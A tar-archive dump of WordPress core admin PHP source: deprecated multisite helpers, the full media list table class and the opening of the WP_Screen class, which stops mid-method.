	_deprecated_function( __FUNCTION__, '3.0.0', 'activate_plugin()' );
	return false;
}

/**
 * Deprecated functionality for deactivating a network-only plugin.
 *
 * @deprecated 3.0.0 Use deactivate_plugin()
 * @see deactivate_plugin()
 */
function deactivate_sitewide_plugin( $plugin = false ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'deactivate_plugin()' );
}

/**
 * Deprecated functionality for determining if the current plugin is network-only.
 *
 * @deprecated 3.0.0 Use is_network_only_plugin()
 * @see is_network_only_plugin()
 */
function is_wpmu_sitewide_plugin( $file ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'is_network_only_plugin()' );
	return is_network_only_plugin( $file );
}

/**
 * Deprecated functionality for getting themes network-enabled themes.
 *
 * @deprecated 3.4.0 Use WP_Theme::get_allowed_on_network()
 * @see WP_Theme::get_allowed_on_network()
 */
function get_site_allowed_themes() {
	_deprecated_function( __FUNCTION__, '3.4.0', 'WP_Theme::get_allowed_on_network()' );
	return array_map( 'intval', WP_Theme::get_allowed_on_network() );
}

/**
 * Deprecated functionality for getting themes allowed on a specific site.
 *
 * @deprecated 3.4.0 Use WP_Theme::get_allowed_on_site()
 * @see WP_Theme::get_allowed_on_site()
 */
function wpmu_get_blog_allowedthemes( $blog_id = 0 ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'WP_Theme::get_allowed_on_site()' );
	return array_map( 'intval', WP_Theme::get_allowed_on_site( $blog_id ) );
}

/**
 * Deprecated functionality for determining whether a file is deprecated.
 *
 * @deprecated 3.5.0
 */
function ms_deprecated_blogs_file() {}

if ( ! function_exists( 'install_global_terms' ) ) :
	/**
	 * Install global terms.
	 *
	 * @since 3.0.0
	 * @since 6.1.0 This function no longer does anything.
	 * @deprecated 6.1.0
	 */
	function install_global_terms() {
		_deprecated_function( __FUNCTION__, '6.1.0' );
	}
endif;

/**
 * Synchronizes category and post tag slugs when global terms are enabled.
 *
 * @since 3.0.0
 * @since 6.1.0 This function no longer does anything.
 * @deprecated 6.1.0
 *
 * @param WP_Term|array $term     The term.
 * @param string        $taxonomy The taxonomy for `$term`.
 * @return WP_Term|array Always returns `$term`.
 */
function sync_category_tag_slugs( $term, $taxonomy ) {
	_deprecated_function( __FUNCTION__, '6.1.0' );

	return $term;
}
class-wp-media-list-table.php000064400000061741150275632050012137 0ustar00<?php
/**
 * List Table API: WP_Media_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying media items in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Media_List_Table extends WP_List_Table {
	/**
	 * Holds the number of pending comments for each post.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $comment_pending_count = array();

	private $detached;

	private $is_trash;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		$this->detached = ( isset( $_REQUEST['attachment-filter'] ) && 'detached' === $_REQUEST['attachment-filter'] );

		$this->modes = array(
			'list' => __( 'List view' ),
			'grid' => __( 'Grid view' ),
		);

		parent::__construct(
			array(
				'plural' => 'media',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'upload_files' );
	}

	/**
	 * @global string   $mode                  List table view mode.
	 * @global WP_Query $wp_query              WordPress Query object.
	 * @global array    $post_mime_types
	 * @global array    $avail_post_mime_types
	 */
	public function prepare_items() {
		global $mode, $wp_query, $post_mime_types, $avail_post_mime_types;

		$mode = empty( $_REQUEST['mode'] ) ? 'list' : $_REQUEST['mode'];

		/*
		 * Exclude attachments scheduled for deletion in the next two hours
		 * if they are for zip packages for interrupted or failed updates.
		 * See File_Upload_Upgrader class.
		 */
		$not_in = array();

		$crons = _get_cron_array();

		if ( is_array( $crons ) ) {
			foreach ( $crons as $cron ) {
				if ( isset( $cron['upgrader_scheduled_cleanup'] ) ) {
					$details = reset( $cron['upgrader_scheduled_cleanup'] );

					if ( ! empty( $details['args'][0] ) ) {
						$not_in[] = (int) $details['args'][0];
					}
				}
			}
		}

		if ( ! empty( $_REQUEST['post__not_in'] ) && is_array( $_REQUEST['post__not_in'] ) ) {
			$not_in = array_merge( array_values( $_REQUEST['post__not_in'] ), $not_in );
		}

		if ( ! empty( $not_in ) ) {
			$_REQUEST['post__not_in'] = $not_in;
		}

		list( $post_mime_types, $avail_post_mime_types ) = wp_edit_attachments_query( $_REQUEST );

		$this->is_trash = isset( $_REQUEST['attachment-filter'] ) && 'trash' === $_REQUEST['attachment-filter'];

		$this->set_pagination_args(
			array(
				'total_items' => $wp_query->found_posts,
				'total_pages' => $wp_query->max_num_pages,
				'per_page'    => $wp_query->query_vars['posts_per_page'],
			)
		);
		if ( $wp_query->posts ) {
			update_post_thumbnail_cache( $wp_query );
			update_post_parent_caches( $wp_query->posts );
		}
	}

	/**
	 * @global array $post_mime_types
	 * @global array $avail_post_mime_types
	 * @return array
	 */
	protected function get_views() {
		global $post_mime_types, $avail_post_mime_types;

		$type_links = array();

		$filter = empty( $_GET['attachment-filter'] ) ? '' : $_GET['attachment-filter'];

		$type_links['all'] = sprintf(
			'<option value=""%s>%s</option>',
			selected( $filter, true, false ),
			__( 'All media items' )
		);

		foreach ( $post_mime_types as $mime_type => $label ) {
			if ( ! wp_match_mime_types( $mime_type, $avail_post_mime_types ) ) {
				continue;
			}

			$selected = selected(
				$filter && str_starts_with( $filter, 'post_mime_type:' ) &&
					wp_match_mime_types( $mime_type, str_replace( 'post_mime_type:', '', $filter ) ),
				true,
				false
			);

			$type_links[ $mime_type ] = sprintf(
				'<option value="post_mime_type:%s"%s>%s</option>',
				esc_attr( $mime_type ),
				$selected,
				$label[0]
			);
		}

		$type_links['detached'] = '<option value="detached"' . ( $this->detached ? ' selected="selected"' : '' ) . '>' . _x( 'Unattached', 'media items' ) . '</option>';

		$type_links['mine'] = sprintf(
			'<option value="mine"%s>%s</option>',
			selected( 'mine' === $filter, true, false ),
			_x( 'Mine', 'media items' )
		);

		if ( $this->is_trash || ( defined( 'MEDIA_TRASH' ) && MEDIA_TRASH ) ) {
			$type_links['trash'] = sprintf(
				'<option value="trash"%s>%s</option>',
				selected( 'trash' === $filter, true, false ),
				_x( 'Trash', 'attachment filter' )
			);
		}

		return $type_links;
	}

	/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions = array();

		if ( MEDIA_TRASH ) {
			if ( $this->is_trash ) {
				$actions['untrash'] = __( 'Restore' );
				$actions['delete']  = __( 'Delete permanently' );
			} else {
				$actions['trash'] = __( 'Move to Trash' );
			}
		} else {
			$actions['delete'] = __( 'Delete permanently' );
		}

		if ( $this->detached ) {
			$actions['attach'] = __( 'Attach' );
		}

		return $actions;
	}

	/**
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		if ( 'bar' !== $which ) {
			return;
		}
		?>
		<div class="actions">
			<?php
			if ( ! $this->is_trash ) {
				$this->months_dropdown( 'attachment' );
			}

			/** This action is documented in wp-admin/includes/class-wp-posts-list-table.php */
			do_action( 'restrict_manage_posts', $this->screen->post_type, $which );

			submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );

			if ( $this->is_trash && $this->has_items()
				&& current_user_can( 'edit_others_posts' )
			) {
				submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false );
			}
			?>
		</div>
		<?php
	}

	/**
	 * @return string
	 */
	public function current_action() {
		if ( isset( $_REQUEST['found_post_id'] ) && isset( $_REQUEST['media'] ) ) {
			return 'attach';
		}

		if ( isset( $_REQUEST['parent_post_id'] ) && isset( $_REQUEST['media'] ) ) {
			return 'detach';
		}

		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) ) {
			return 'delete_all';
		}

		return parent::current_action();
	}

	/**
	 * @return bool
	 */
	public function has_items() {
		return have_posts();
	}

	/**
	 */
	public function no_items() {
		if ( $this->is_trash ) {
			_e( 'No media files found in Trash.' );
		} else {
			_e( 'No media files found.' );
		}
	}

	/**
	 * Overrides parent views to use the filter bar display.
	 *
	 * @global string $mode List table view mode.
	 */
	public function views() {
		global $mode;

		$views = $this->get_views();

		$this->screen->render_screen_reader_content( 'heading_views' );
		?>
		<div class="wp-filter">
			<div class="filter-items">
				<?php $this->view_switcher( $mode ); ?>

				<label for="attachment-filter" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Filter by type' );
					?>
				</label>
				<select class="attachment-filters" name="attachment-filter" id="attachment-filter">
					<?php
					if ( ! empty( $views ) ) {
						foreach ( $views as $class => $view ) {
							echo "\t$view\n";
						}
					}
					?>
				</select>

				<?php
				$this->extra_tablenav( 'bar' );

				/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
				$views = apply_filters( "views_{$this->screen->id}", array() );

				// Back compat for pre-4.0 view links.
				if ( ! empty( $views ) ) {
					echo '<ul class="filter-links">';
					foreach ( $views as $class => $view ) {
						echo "<li class='$class'>$view</li>";
					}
					echo '</ul>';
				}
				?>
			</div>

			<div class="search-form">
				<p class="search-box">
					<label class="screen-reader-text" for="media-search-input">
					<?php
					/* translators: Hidden accessibility text. */
					esc_html_e( 'Search Media' );
					?>
					</label>
					<input type="search" id="media-search-input" class="search" name="s" value="<?php _admin_search_query(); ?>">
					<input id="search-submit" type="submit" class="button" value="<?php esc_attr_e( 'Search Media' ); ?>">
				</p>
			</div>
		</div>
		<?php
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$posts_columns       = array();
		$posts_columns['cb'] = '<input type="checkbox" />';
		/* translators: Column name. */
		$posts_columns['title']  = _x( 'File', 'column name' );
		$posts_columns['author'] = __( 'Author' );

		$taxonomies = get_taxonomies_for_attachments( 'objects' );
		$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );

		/**
		 * Filters the taxonomy columns for attachments in the Media list table.
		 *
		 * @since 3.5.0
		 *
		 * @param string[] $taxonomies An array of registered taxonomy names to show for attachments.
		 * @param string   $post_type  The post type. Default 'attachment'.
		 */
		$taxonomies = apply_filters( 'manage_taxonomies_for_attachment_columns', $taxonomies, 'attachment' );
		$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );

		foreach ( $taxonomies as $taxonomy ) {
			if ( 'category' === $taxonomy ) {
				$column_key = 'categories';
			} elseif ( 'post_tag' === $taxonomy ) {
				$column_key = 'tags';
			} else {
				$column_key = 'taxonomy-' . $taxonomy;
			}

			$posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name;
		}

		/* translators: Column name. */
		if ( ! $this->detached ) {
			$posts_columns['parent'] = _x( 'Uploaded to', 'column name' );

			if ( post_type_supports( 'attachment', 'comments' ) ) {
				$posts_columns['comments'] = sprintf(
					'<span class="vers comment-grey-bubble" title="%1$s" aria-hidden="true"></span><span class="screen-reader-text">%2$s</span>',
					esc_attr__( 'Comments' ),
					/* translators: Hidden accessibility text. */
					__( 'Comments' )
				);
			}
		}

		/* translators: Column name. */
		$posts_columns['date'] = _x( 'Date', 'column name' );

		/**
		 * Filters the Media list table columns.
		 *
		 * @since 2.5.0
		 *
		 * @param string[] $posts_columns An array of columns displayed in the Media list table.
		 * @param bool     $detached      Whether the list table contains media not attached
		 *                                to any posts. Default true.
		 */
		return apply_filters( 'manage_media_columns', $posts_columns, $this->detached );
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'title'    => array( 'title', false, _x( 'File', 'column name' ), __( 'Table ordered by File Name.' ) ),
			'author'   => array( 'author', false, __( 'Author' ), __( 'Table ordered by Author.' ) ),
			'parent'   => array( 'parent', false, _x( 'Uploaded to', 'column name' ), __( 'Table ordered by Uploaded To.' ) ),
			'comments' => array( 'comment_count', __( 'Comments' ), false, __( 'Table ordered by Comments.' ) ),
			'date'     => array( 'date', true, __( 'Date' ), __( 'Table ordered by Date.' ), 'desc' ),
		);
	}

	/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post $item The current WP_Post object.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		if ( current_user_can( 'edit_post', $post->ID ) ) {
			?>
			<input type="checkbox" name="media[]" id="cb-select-<?php echo $post->ID; ?>" value="<?php echo $post->ID; ?>" />
			<label for="cb-select-<?php echo $post->ID; ?>">
				<span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. %s: Attachment title. */
				printf( __( 'Select %s' ), _draft_or_post_title() );
				?>
				</span>
			</label>
			<?php
		}
	}

	/**
	 * Handles the title column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_title( $post ) {
		list( $mime ) = explode( '/', $post->post_mime_type );

		$attachment_id = $post->ID;

		if ( has_post_thumbnail( $post ) ) {
			$thumbnail_id = get_post_thumbnail_id( $post );

			if ( ! empty( $thumbnail_id ) ) {
				$attachment_id = $thumbnail_id;
			}
		}

		$title      = _draft_or_post_title();
		$thumb      = wp_get_attachment_image( $attachment_id, array( 60, 60 ), true, array( 'alt' => '' ) );
		$link_start = '';
		$link_end   = '';

		if ( current_user_can( 'edit_post', $post->ID ) && ! $this->is_trash ) {
			$link_start = sprintf(
				'<a href="%s" aria-label="%s">',
				get_edit_post_link( $post->ID ),
				/* translators: %s: Attachment title. */
				esc_attr( sprintf( __( '&#8220;%s&#8221; (Edit)' ), $title ) )
			);
			$link_end = '</a>';
		}

		$class = $thumb ? ' class="has-media-icon"' : '';
		?>
		<strong<?php echo $class; ?>>
			<?php
			echo $link_start;

			if ( $thumb ) :
				?>
				<span class="media-icon <?php echo sanitize_html_class( $mime . '-icon' ); ?>"><?php echo $thumb; ?></span>
				<?php
			endif;

			echo $title . $link_end;

			_media_states( $post );
			?>
		</strong>
		<p class="filename">
			<span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'File name:' );
				?>
			</span>
			<?php
			$file = get_attached_file( $post->ID );
			echo esc_html( wp_basename( $file ) );
			?>
		</p>
		<?php
	}

	/**
	 * Handles the author column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_author( $post ) {
		printf(
			'<a href="%s">%s</a>',
			esc_url( add_query_arg( array( 'author' => get_the_author_meta( 'ID' ) ), 'upload.php' ) ),
			get_the_author()
		);
	}

	/**
	 * Handles the description column output.
	 *
	 * @since 4.3.0
	 * @deprecated 6.2.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_desc( $post ) {
		_deprecated_function( __METHOD__, '6.2.0' );

		echo has_excerpt() ? $post->post_excerpt : '';
	}

	/**
	 * Handles the date column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_date( $post ) {
		if ( '0000-00-00 00:00:00' === $post->post_date ) {
			$h_time = __( 'Unpublished' );
		} else {
			$time      = get_post_timestamp( $post );
			$time_diff = time() - $time;

			if ( $time && $time_diff > 0 && $time_diff < DAY_IN_SECONDS ) {
				/* translators: %s: Human-readable time difference. */
				$h_time = sprintf( __( '%s ago' ), human_time_diff( $time ) );
			} else {
				$h_time = get_the_time( __( 'Y/m/d' ), $post );
			}
		}

		/**
		 * Filters the published time of an attachment displayed in the Media list table.
		 *
		 * @since 6.0.0
		 *
		 * @param string  $h_time      The published time.
		 * @param WP_Post $post        Attachment object.
		 * @param string  $column_name The column name.
		 */
		echo apply_filters( 'media_date_column_time', $h_time, $post, 'date' );
	}

	/**
	 * Handles the parent column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_parent( $post ) {
		$user_can_edit = current_user_can( 'edit_post', $post->ID );

		if ( $post->post_parent > 0 ) {
			$parent = get_post( $post->post_parent );
		} else {
			$parent = false;
		}

		if ( $parent ) {
			$title       = _draft_or_post_title( $post->post_parent );
			$parent_type = get_post_type_object( $parent->post_type );

			if ( $parent_type && $parent_type->show_ui && current_user_can( 'edit_post', $post->post_parent ) ) {
				printf( '<strong><a href="%s">%s</a></strong>', get_edit_post_link( $post->post_parent ), $title );
			} elseif ( $parent_type && current_user_can( 'read_post', $post->post_parent ) ) {
				printf( '<strong>%s</strong>', $title );
			} else {
				_e( '(Private post)' );
			}

			if ( $user_can_edit ) :
				$detach_url = add_query_arg(
					array(
						'parent_post_id' => $post->post_parent,
						'media[]'        => $post->ID,
						'_wpnonce'       => wp_create_nonce( 'bulk-' . $this->_args['plural'] ),
					),
					'upload.php'
				);
				printf(
					'<br /><a href="%s" class="hide-if-no-js detach-from-parent" aria-label="%s">%s</a>',
					$detach_url,
					/* translators: %s: Title of the post the attachment is attached to. */
					esc_attr( sprintf( __( 'Detach from &#8220;%s&#8221;' ), $title ) ),
					__( 'Detach' )
				);
			endif;
		} else {
			_e( '(Unattached)' );
			?>
			<?php
			if ( $user_can_edit ) {
				$title = _draft_or_post_title( $post->post_parent );
				printf(
					'<br /><a href="#the-list" onclick="findPosts.open( \'media[]\', \'%s\' ); return false;" class="hide-if-no-js aria-button-if-js" aria-label="%s">%s</a>',
					$post->ID,
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Attach &#8220;%s&#8221; to existing content' ), $title ) ),
					__( 'Attach' )
				);
			}
		}
	}

	/**
	 * Handles the comments column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_comments( $post ) {
		echo '<div class="post-com-count-wrapper">';

		if ( isset( $this->comment_pending_count[ $post->ID ] ) ) {
			$pending_comments = $this->comment_pending_count[ $post->ID ];
		} else {
			$pending_comments = get_pending_comments_num( $post->ID );
		}

		$this->comments_bubble( $post->ID, $pending_comments );

		echo '</div>';
	}

	/**
	 * Handles output for the default column.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post $item        The current WP_Post object.
	 * @param string  $column_name Current column name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		if ( 'categories' === $column_name ) {
			$taxonomy = 'category';
		} elseif ( 'tags' === $column_name ) {
			$taxonomy = 'post_tag';
		} elseif ( str_starts_with( $column_name, 'taxonomy-' ) ) {
			$taxonomy = substr( $column_name, 9 );
		} else {
			$taxonomy = false;
		}

		if ( $taxonomy ) {
			$terms = get_the_terms( $post->ID, $taxonomy );

			if ( is_array( $terms ) ) {
				$output = array();

				foreach ( $terms as $t ) {
					$posts_in_term_qv             = array();
					$posts_in_term_qv['taxonomy'] = $taxonomy;
					$posts_in_term_qv['term']     = $t->slug;

					$output[] = sprintf(
						'<a href="%s">%s</a>',
						esc_url( add_query_arg( $posts_in_term_qv, 'upload.php' ) ),
						esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) )
					);
				}

				echo implode( wp_get_list_item_separator(), $output );
			} else {
				echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . get_taxonomy( $taxonomy )->labels->no_terms . '</span>';
			}

			return;
		}

		/**
		 * Fires for each custom column in the Media list table.
		 *
		 * Custom columns are registered using the {@see 'manage_media_columns'} filter.
		 *
		 * @since 2.5.0
		 *
		 * @param string $column_name Name of the custom column.
		 * @param int    $post_id     Attachment ID.
		 */
		do_action( 'manage_media_custom_column', $column_name, $post->ID );
	}

	/**
	 * @global WP_Post  $post     Global post object.
	 * @global WP_Query $wp_query WordPress Query object.
	 */
	public function display_rows() {
		global $post, $wp_query;

		$post_ids = wp_list_pluck( $wp_query->posts, 'ID' );
		reset( $wp_query->posts );

		$this->comment_pending_count = get_pending_comments_num( $post_ids );

		add_filter( 'the_title', 'esc_html' );

		while ( have_posts() ) :
			the_post();

			if ( $this->is_trash && 'trash' !== $post->post_status
				|| ! $this->is_trash && 'trash' === $post->post_status
			) {
				continue;
			}

			$post_owner = ( get_current_user_id() === (int) $post->post_author ) ? 'self' : 'other';
			?>
			<tr id="post-<?php echo $post->ID; ?>" class="<?php echo trim( ' author-' . $post_owner . ' status-' . $post->post_status ); ?>">
				<?php $this->single_row_columns( $post ); ?>
			</tr>
			<?php
		endwhile;
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'title'.
	 */
	protected function get_default_primary_column_name() {
		return 'title';
	}

	/**
	 * @param WP_Post $post
	 * @param string  $att_title
	 * @return array
	 */
	private function _get_row_actions( $post, $att_title ) {
		$actions = array();

		if ( ! $this->is_trash && current_user_can( 'edit_post', $post->ID ) ) {
			$actions['edit'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				esc_url( get_edit_post_link( $post->ID ) ),
				/* translators: %s: Attachment title. */
				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $att_title ) ),
				__( 'Edit' )
			);
		}

		if ( current_user_can( 'delete_post', $post->ID ) ) {
			if ( $this->is_trash ) {
				$actions['untrash'] = sprintf(
					'<a href="%s" class="submitdelete aria-button-if-js" aria-label="%s">%s</a>',
					esc_url( wp_nonce_url( "post.php?action=untrash&amp;post=$post->ID", 'untrash-post_' . $post->ID ) ),
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Restore &#8220;%s&#8221; from the Trash' ), $att_title ) ),
					__( 'Restore' )
				);
			} elseif ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) {
				$actions['trash'] = sprintf(
					'<a href="%s" class="submitdelete aria-button-if-js" aria-label="%s">%s</a>',
					esc_url( wp_nonce_url( "post.php?action=trash&amp;post=$post->ID", 'trash-post_' . $post->ID ) ),
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Move &#8220;%s&#8221; to the Trash' ), $att_title ) ),
					_x( 'Trash', 'verb' )
				);
			}

			if ( $this->is_trash || ! EMPTY_TRASH_DAYS || ! MEDIA_TRASH ) {
				$show_confirmation = ( ! $this->is_trash && ! MEDIA_TRASH ) ? " onclick='return showNotice.warn();'" : '';

				$actions['delete'] = sprintf(
					'<a href="%s" class="submitdelete aria-button-if-js"%s aria-label="%s">%s</a>',
					esc_url( wp_nonce_url( "post.php?action=delete&amp;post=$post->ID", 'delete-post_' . $post->ID ) ),
					$show_confirmation,
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Delete &#8220;%s&#8221; permanently' ), $att_title ) ),
					__( 'Delete Permanently' )
				);
			}
		}

		$attachment_url = wp_get_attachment_url( $post->ID );

		if ( ! $this->is_trash ) {
			$permalink = get_permalink( $post->ID );

			if ( $permalink ) {
				$actions['view'] = sprintf(
					'<a href="%s" aria-label="%s" rel="bookmark">%s</a>',
					esc_url( $permalink ),
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $att_title ) ),
					__( 'View' )
				);
			}

			if ( $attachment_url ) {
				$actions['copy'] = sprintf(
					'<span class="copy-to-clipboard-container"><button type="button" class="button-link copy-attachment-url media-library" data-clipboard-text="%s" aria-label="%s">%s</button><span class="success hidden" aria-hidden="true">%s</span></span>',
					esc_url( $attachment_url ),
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Copy &#8220;%s&#8221; URL to clipboard' ), $att_title ) ),
					__( 'Copy URL' ),
					__( 'Copied!' )
				);
			}
		}

		if ( $attachment_url ) {
			$actions['download'] = sprintf(
				'<a href="%s" aria-label="%s" download>%s</a>',
				esc_url( $attachment_url ),
				/* translators: %s: Attachment title. */
				esc_attr( sprintf( __( 'Download &#8220;%s&#8221;' ), $att_title ) ),
				__( 'Download file' )
			);
		}

		if ( $this->detached && current_user_can( 'edit_post', $post->ID ) ) {
			$actions['attach'] = sprintf(
				'<a href="#the-list" onclick="findPosts.open( \'media[]\', \'%s\' ); return false;" class="hide-if-no-js aria-button-if-js" aria-label="%s">%s</a>',
				$post->ID,
				/* translators: %s: Attachment title. */
				esc_attr( sprintf( __( 'Attach &#8220;%s&#8221; to existing content' ), $att_title ) ),
				__( 'Attach' )
			);
		}

		/**
		 * Filters the action links for each attachment in the Media list table.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $actions  An array of action links for each attachment.
		 *                           Includes 'Edit', 'Delete Permanently', 'View',
		 *                           'Copy URL' and 'Download file'.
		 * @param WP_Post  $post     WP_Post object for the current attachment.
		 * @param bool     $detached Whether the list table contains media not attached
		 *                           to any posts. Default true.
		 */
		return apply_filters( 'media_row_actions', $actions, $post, $this->detached );
	}

	/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post $item        Attachment being acted upon.
	 * @param string  $column_name Current column name.
	 * @param string  $primary     Primary column name.
	 * @return string Row actions output for media attachments, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$att_title = _draft_or_post_title();
		$actions   = $this->_get_row_actions( $post, $att_title );

		return $this->row_actions( $actions );
	}
}
class-wp-screen.php000064400000110657150275632050010302 0ustar00<?php
/**
 * Screen API: WP_Screen class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Core class used to implement an admin screen API.
 *
 * @since 3.3.0
 */
#[AllowDynamicProperties]
final class WP_Screen {
	/**
	 * Any action associated with the screen.
	 *
	 * 'add' for *-add.php and *-new.php screens. Empty otherwise.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $action;

	/**
	 * The base type of the screen.
	 *
	 * This is typically the same as `$id` but with any post types and taxonomies stripped.
	 * For example, for an `$id` of 'edit-post' the base is 'edit'.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $base;

	/**
	 * The number of columns to display. Access with get_columns().
	 *
	 * @since 3.4.0
	 * @var int
	 */
	private $columns = 0;

	/**
	 * The unique ID of the screen.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $id;

	/**
	 * Which admin the screen is in. network | user | site | false
	 *
	 * @since 3.5.0
	 * @var string
	 */
	protected $in_admin;

	/**
	 * Whether the screen is in the network admin.
	 *
	 * Deprecated. Use in_admin() instead.
	 *
	 * @since 3.3.0
	 * @deprecated 3.5.0
	 * @var bool
	 */
	public $is_network;

	/**
	 * Whether the screen is in the user admin.
	 *
	 * Deprecated. Use in_admin() instead.
	 *
	 * @since 3.3.0
	 * @deprecated 3.5.0
	 * @var bool
	 */
	public $is_user;

	/**
	 * The base menu parent.
	 *
	 * This is derived from `$parent_file` by removing the query string and any .php extension.
	 * `$parent_file` values of 'edit.php?post_type=page' and 'edit.php?post_type=post'
	 * have a `$parent_base` of 'edit'.
	 *
	 * @since 3.3.0
	 * @var string|null
	 */
	public $parent_base;

	/**
	 * The parent_file for the screen per the admin menu system.
	 *
	 * Some `$parent_file` values are 'edit.php?post_type=page', 'edit.php', and 'options-general.php'.
	 *
	 * @since 3.3.0
	 * @var string|null
	 */
	public $parent_file;

	/**
	 * The post type associated with the screen, if any.
	 *
	 * The 'edit.php?post_type=page' screen has a post type of 'page'.
	 * The 'edit-tags.php?taxonomy=$taxonomy&post_type=page' screen has a post type of 'page'.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $post_type;

	/**
	 * The taxonomy associated with the screen, if any.
	 *
	 * The 'edit-tags.php?taxonomy=category' screen has a taxonomy of 'category'.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $taxonomy;

	/**
	 * The help tab data associated with the screen, if any.
	 *
	 * @since 3.3.0
	 * @var array
	 */
	private $_help_tabs = array();

	/**
	 * The help sidebar data associated with screen, if any.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	private $_help_sidebar = '';

	/**
	 * The accessible hidden headings and text associated with the screen, if any.
	 *
	 * @since 4.4.0
	 * @var string[]
	 */
	private $_screen_reader_content = array();

	/**
	 * Stores old string-based help.
	 *
	 * @var array
	 */
	private static $_old_compat_help = array();

	/**
	 * The screen options associated with screen, if any.
	 *
	 * @since 3.3.0
	 * @var array
	 */
	private $_options = array();

	/**
	 * The screen object registry.
	 *
	 * @since 3.3.0
	 *
	 * @var array
	 */
	private static $_registry = array();

	/**
	 * Stores the result of the public show_screen_options function.
	 *
	 * @since 3.3.0
	 * @var bool
	 */
	private $_show_screen_options;

	/**
	 * Stores the 'screen_settings' section of screen options.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	private $_screen_settings;

	/**
	 * Whether the screen is using the block editor.
	 *
	 * @since 5.0.0
	 * @var bool
	 */
	public $is_block_editor = false;

	/**
	 * Fetches a screen object.
	 *
	 * @since 3.3.0
	 *
	 * @global string $hook_suffix
	 *
	 * @param string|WP_Screen $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen.
	 *                                    Defaults to the current $hook_suffix global.
	 * @return WP_Screen Screen object.
	 */
	public static function get( $hook_name = '' ) {
		if ( $hook_name instanceof WP_Screen ) {
			return $hook_name;
		}

		$id              = '';
		$post_type       = null;
		$taxonomy        = null;
		$in_admin        = false;
		$action          = '';
		$is_block_editor = false;

		if ( $hook_name ) {
			$id = $hook_name;
		} elseif ( ! empty( $GLOBALS['hook_suffix'] ) ) {
			$id = $GLOBALS['hook_suffix'];
		}

		// For those pesky meta boxes.
		if ( $hook_name && post_type_exists( $hook_name ) ) {
			$post_type = $id;
			$id        = 'post'; // Changes later. Ends up being $base.
		} else {
